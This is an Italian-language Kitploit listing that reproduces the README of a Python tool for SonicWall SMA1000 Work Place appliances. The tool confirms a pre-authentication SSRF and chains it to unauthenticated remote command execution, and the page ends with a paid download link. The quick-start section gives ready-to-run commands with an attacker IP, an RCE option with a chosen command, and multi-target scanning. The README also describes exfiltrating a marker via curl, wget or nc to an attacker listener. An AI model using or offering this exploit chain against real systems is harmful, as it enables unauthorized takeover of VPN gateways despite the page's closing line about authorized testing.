Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-83548 — Strumento Python in un unico file che identifica le appliance SonicWall SMA1000 Work Place, sonda e conferma la SSRF pre-auth (CVE-2026-83548) tramite cattura out-of-band e concatena fino all'RCE. | Kitploit
Strumenti/GitHubGitHub/maxprog-svg/cve-2026-83548
RicognizioneScanner di VulnerabilitàExploitSfruttamento di Applicazioni WebPost-ExploitPenetration TestingTrojan di Accesso Remoto
GitHubmaxprog-svg/cve-2026-83548

CVE-2026-83548

Strumento Python in un unico file che identifica le appliance SonicWall SMA1000 Work Place, sonda e conferma la SSRF pre-auth (CVE-2026-83548) tramite cattura out-of-band e concatena fino all'RCE.

Vedi Repository
111 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-83548 — SSRF pre-auth in SonicWall SMA1000 Work Place

Strumento in singolo file (Python 3, solo libreria standard, zero dipendenze) per valutare e sfruttare la SSRF pre-autenticazione nell'interfaccia Work Place degli appliance SonicWall SMA1000 (6210 / 7210 / 8200v), inclusa una catena opportunistica verso RCE non autenticata tramite CVE-2026-83549.

La vulnerabilità

CVECVE-2026-83548 (SSRF, CWE-918/CWE-441), CVSS 10.0
CatenaCVE-2026-83549 — iniezione di comandi OS nell'AMC (post-auth), aggirata tramite la SSRF
MeccanismoL'interfaccia Work Place si comporta come un forward proxy non intenzionale: l'appliance inoltra richieste appositamente costruite verso risorse interne (incluso l'AMC) sfruttando la propria posizione di rete privilegiata, senza richiedere autenticazione in nessuna fase
AffetteSMA1000 ≤ 12.4.3-03453 e ≤ 12.5.0-02835
Corrette12.4.3-03526 / 12.5.0-02952 (avviso SonicWall SNWLID-2026-0016)
StatoAttivamente sfruttata in the wild; CISA KEV dal 2026-09-02; nessuna mitigazione alternativa — solo patch

Cosa fa lo strumento (fasi)

  • [A] Fingerprint + stato patch — GET in sola lettura della radice del portale Work Place: banner Server: SMA/*, asset __extraweb__, versione dai link della guida; classificazione rispetto alle build corrette (PATCHED / AFFECTED / POTENTIALLY_AFFECTED / NOT_SMA1000).
  • [B] Sondaggio dei vettori SSRF — verifica un insieme candidato di vettori di attivazione SSRF (incluso il percorso di relay /cgi-bin/ e la forma forward-proxy "URI assoluto come path") e valuta le anomalie rispetto a una baseline: variazione del codice di stato, delta di latenza, nuovi header di risposta, delta del body. I vettori forniti dall'operatore sono accettati tramite --vector (ripetibile).
  • [C] Conferma out-of-band — avvia un listener di cattura locale e indirizza verso di esso il vettore migliore. Una richiesta catturata (metodo/header/User-Agent inoltrato) dimostra che l'appliance ha inoltrato la richiesta — la vulnerabilità effettiva, non un artefatto di timing.
  • [D] Catena RCE (CVE-2026-83549) — tentativo opportunistico di command-injection contro l'AMC attraverso il relay SSRF confermato, con esfiltrazione di un marker tramite curl/wget/nc. La conferma richiede una cattura out-of-band.

Avvio rapido

# Fingerprint / patch-state only (read-only)
python3 exploit_cve_2026_83548.py --fingerprint-only vpn.example.com

# Full pass: vector probing + out-of-band SSRF confirmation
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> \
    --oob-timeout 5 vpn.example.com

# + RCE chain attempt (default command: id)
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> --rce \
    --rce-cmd 'id' vpn.example.com

# Known vector (bypasses the default candidate set), JSON report
python3 exploit_cve_2026_83548.py --json --skip-probe \
    --vector 'POST:/cgi-bin/:url={T}' --listen --attacker-ip <your_visible_IP> \
    -k -t 10 203.0.113.10

# Multiple targets in sequence (exit code = worst verdict)
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> \
    vpn-a.example.com vpn-b.example.com

--attacker-ip — l'IP dalla quale l'appliance deve poter raggiungere il tuo listener di cattura (127.0.0.1 per verifiche locali; un indirizzo visibile in rete più port forwarding per l'accesso remoto). Senza di esso lo strumento ipotizza un IP locale, che spesso non funziona all'interno di container/configurazioni VPN.

Codici di uscita

CodiceSignificato
0corretto / non interessato
1interessato per versione, oppure SSRF confermata, oppure linea di firmware interessata con build esatta indeterminata
2RCE non autenticata confermata (catena riuscita)
3il target non è un portale SMA1000 Work Place
4errore di connessione/altro

Limitazioni (leggere)

  1. La fase D è opportunistica: la conferma richiede una cattura out-of-band; l'assenza di una cattura non costituisce una smentita.
  2. La cattura OOB richiede che l'appliance possa raggiungere il tuo listener (stesso L2 / port forward / VPN). Un timeout di cattura ≠ SSRF smentita.
  3. Verdetto sulla versione: l'appliance in genere espone esternamente solo la propria linea di firmware (ad es. 12.5.0), non la build esatta dell'hotfix — il risultato comune è POTENTIALLY_AFFECTED, che richiede la conferma della build sull'appliance stessa.
  4. Le fasi B–D inviano richieste al target per progettazione; utilizzare solo contro host di tua proprietà o per i quali hai esplicita autorizzazione al test.

https://satoshidisk.com/pay/CShhL9

Scarica lo strumento